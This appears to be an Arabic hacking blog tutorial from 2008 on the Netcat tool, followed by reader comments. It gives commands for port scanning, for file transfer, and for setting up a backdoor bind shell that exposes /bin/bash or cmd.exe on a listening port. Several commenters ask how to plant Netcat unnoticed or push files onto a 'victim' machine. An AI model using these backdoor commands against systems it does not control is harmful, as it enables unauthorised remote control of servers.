شرح أداة Netcat - The Swiss Army Knife
كتب بتاريخ: Jan 22nd, 2008 | بواسطة: Br4v3-H34r7
السلام عليكم ورحمة الله وبركاته

Netcat من أفضل الأدوات التي عرفها الـ Hackers تقوم هذه الأداة
بارسال واستقبال البيانات باستعمال الـ TCP & UDP Protocols
وهي بالمرتبة الرابعة في قائمة Top 100 Network Security Tools
استخدامات الـ Netcat متعددة وخطيرة فتستطيع استعمالها لكثير من الأمور منها
فحص المنافذ المفتوحة في السيرفر
تستطيع أداة الـ Netcat فحص المنافذ المفتوحة بالسيرفر ولكن الـ Nmap
أفضل وأسرع منها في ذلك << سأضع شرح لها قريبا ان شاء الله, وللقيام
بهذه العملية نستعمل الأمر
nc -v -w1 SERVER-IP -z FromPort-ToPort
أما بالنسبة للخيارات التي استخدمناها
-v لجعل الأداة تعمل بشكل الـ verbose mode أي لرؤية ماذا يحدث
-w لتحديدي الـ Time out لكل اتصال وهنا حددناه ثانية واحدة
-z تستعمل في عملية فحص المنافذ
مثال على ذلك
nc -v -w1 64.233.183.147 -z 1-100
ولفحص أكثر من نطاق منافذ نستعمل الأمر
nc -v -w1 -z 64.233.183.147 -z 1-100 400-500
ملاحظة: 64.233.183.147 هو IP موقع Google
نقل الملفات بين جهازك والسيرفر
من ميزات الـ Netcat أنها تستطيع نقل الملفات بين جهازين
وللقيام بهذه العملية نطبق الأمر في الجهاز المرسل
nc SERVER-IP PORT < FILE
ونطبق الأمر في الجهاز المستقبل
nc -l -p PORT > FILE
مثال لارسال ملف اسمه data.txt عن طريق البورت 5555 مثلا
nc 192.168.0.45 5555 < data.txt
أما بالنسبة لاستقبال ملف data.txt عن طريق المنفذ 5555 ننفذ الأمر
nc -l -p 5555 > data.txt
جعل الـ Netcat تعمل كـ Backdoor
هذه أخطر استعمالات الـ Netcat لأنه يشكل خطورة على الجهاز و السيرفر بشكل عام
حيث تمتاز أداة الـ Netcat بخاصية ارسال البيانات الى برنامج معين مثل cmd.exe
في ويندوز و /bin/bash في لينوكس مما يجعلك تستطيع تطبيق أوامر على السيرفر
والتحكم به بشكل كامل يتم تنفيذ هذه الخاصية باستعمال الأمر
nc -l -p PORT -e PROGRAM
مع اضافة -d و -L في ويندوز ليصبح الأمر
nc -l -p PORT -d -e PROGRAM -L
مثال على هذه الخاصية نقوم بتطبيق الأمر
nc -l -p 4455 -e /bin/bash
على السيرفر اذا كان السيرفر ويندوز نطبق نفس الأمر مع اضافة -L و -d مع القيام بتغيير
الـ /bin/bash الى cmd.exe ليصبح الأمر بالشكل
nc -l -p 4455 -e -d cmd.exe -L
وللاتصال بالسيرفر نطبق الأمر
nc -v -n SERVER-IP 4455
وبهذه الطريقة نستطيع ارسال أوامر للتحكم بالسيرفر ولمعرفة جميع خصائص هذه الأداة نفذ الأمر
nc -h
تحميل أداة Netcat لنظام لينوكس | تحميل أداة Netcat لنظام ويندوز
ان أصبت فمن الله وان أخطأت فمن نفسي ومن الشيطان
أرجو أن ينال الشرح اعجابكم
تحياتي Br4v3-H34r7.








فعلاً اداة النت كات جبارة وهي تختصر الكثير من الوقت
يعطيك العافية على الموضوع واستمر بارك الله فيك
يا هلا فيك أخوي طارق الله يعافيك
وماشاء الله عليك دائما منور المدونة
شكرا لك
موقعك بدون اي مجامله في غاية الروعه
واصل يابطل
وربي يوفقك دنيا واخره
مشكور يا جميل وانة استخدمة للنيت ورك حيث يقزم بسجب الماكات شكرا ليك باي

بصراحة الأداة ممتازة بس ماينفعش تستخدم باكدور لأن علشان نستخدمها لازم الضحية يفعلها وبالتالى صعب اقوله تعالى علشان اخترق جهازك !!!!!!!!!
واشكرك على المدونة ممتازة
@محمد: العفو وان شاء الله تكون استفدت
@NsA: شكرا أخوي على كلامك الجميل وعلى الدعوات الأجمل وان شاء الله يوفقنا أجمعين
@thrkam: ان شاء الله يكون عجبك الموضوع وهلا فيك في المدونة
@CASATAWY: طبعا أنت مش حتخترق فيها جهاز! هذا شغل أطفال وفي برامج أفضل لهذه المهمة لكن netcat ممكن تستخدم في اختراق السيرفرات والحصول على Shell ويمكن استخدامها في اختراق الأجهزة أيضا اذا استعنا بملف bat ينفذ الأوامر وبرمجنا برنامج بالفيجول بيزك مثلا يدمج الملفين وسابقا شرحت الطريقة كاملة بالفيديو ولكن قبل ما أفتح المدونة.. ممكن أرجع أعيد الشرح وأكتب عنه موضوع جديد قريبا.. دمت بود
والله اخي ما ارعف كيف اجازيك بس استمر جزاك الله الف خير واي شي تحتاجه ان شاء الله احنا موجودين بس ما اعتقد انت تحتاج شي يااستاذ
أخي learn&learn لاداعي لكملة “استاذ” فماحدا استاذ هنا وماحدا ولد كذلك شكرا على عرضك واذا لزمني شيء بيوم من الأيام سأخبرك
برنامج النت كت مش عارف احمله ممكن شرح التحميل منين وشكرا
عندي سؤال و هو كيف أرفع له nc من دون أن يحس مع تشغيلها في الخلفية .
@anonymous: بصراحة أخي لم أفهم سؤلك لأنه غير واضح! تريد أن ترفع Netcat لأين؟ سيرفر؟ وتشغلها دون أن يشعر بها الـ root؟ ستحتاج لاستغلال ثغرة remote لتقوم بكل ذلك وتفتح منفذ في السيرفر ثم تستخدم الـ Netcat للاتصال بالمنفذ وليس رفعها للسيرفر! وطبعا لا أضمن عدم شعور الأدمن
جميل يا عبده
طبعا أكثر الناس مايعرفون غير
nc -v -l -p 80
شرح جميل منك أخي و فعلا اداة netcat رائعة و اتبتت فاعليتها في مجال ال Hacker
و هناك تطوير للاداة باسم cryptcat و الذي يتميز بخاصية التشفير .
تحياتي لك أخي .
@KING SABRI: أنت أجمل أخي صبري و ان شاء الله تكون استفدت من الشرح
@unary: ردك أجمل أخي.. أداة netcat من أقوى الأدوات و أغلبنا يتعامل معها حتى الآن خصوصا أن استخداماتها متعددة جدا و تفيدنا بكثير من الأمور, بالنسبة لـ cryptcat أتذكر أني سمعت بها أو بشيء مماثل لكني لم أجربها بصراحة فاستخدام VPN يفي بالغرض
وعليكم السلام
اخوي فعلاً الاداه جميله لكن صعوبتها في الاوامر
لنفرض مثلن اني اخترق جهاز واحد عن طريق الشل كود
وقدرت ادخل جهازه بس عندي مشكله وهي كيف ارفع مثلاً باتش لجهاز الضحيه
وكيف استطيع اخذ ملف من جهازي الضحيه الي جهازي
واخير مثلن ابي اسحب باتش من النت لحهازي الضحيه
ياليت تقولي الاوامر !
ومعليش اذا طولت
أهلا أخي خالد.. لا أجد أي صعوبة بالتعامل مع الأداة و على العكس تماما أوامرها سهلة مقارنة مع غيرها من الأدوات.. بالنسبة لأسئلتك فهي تعتمد على عدة أشياء مثل نظام التشغيل, الاستغلال المستخدم, الصلاحيات و غيرها من الأمور.. استخدامات النت كات موضحة في الموضوع أنصحك بقرائته!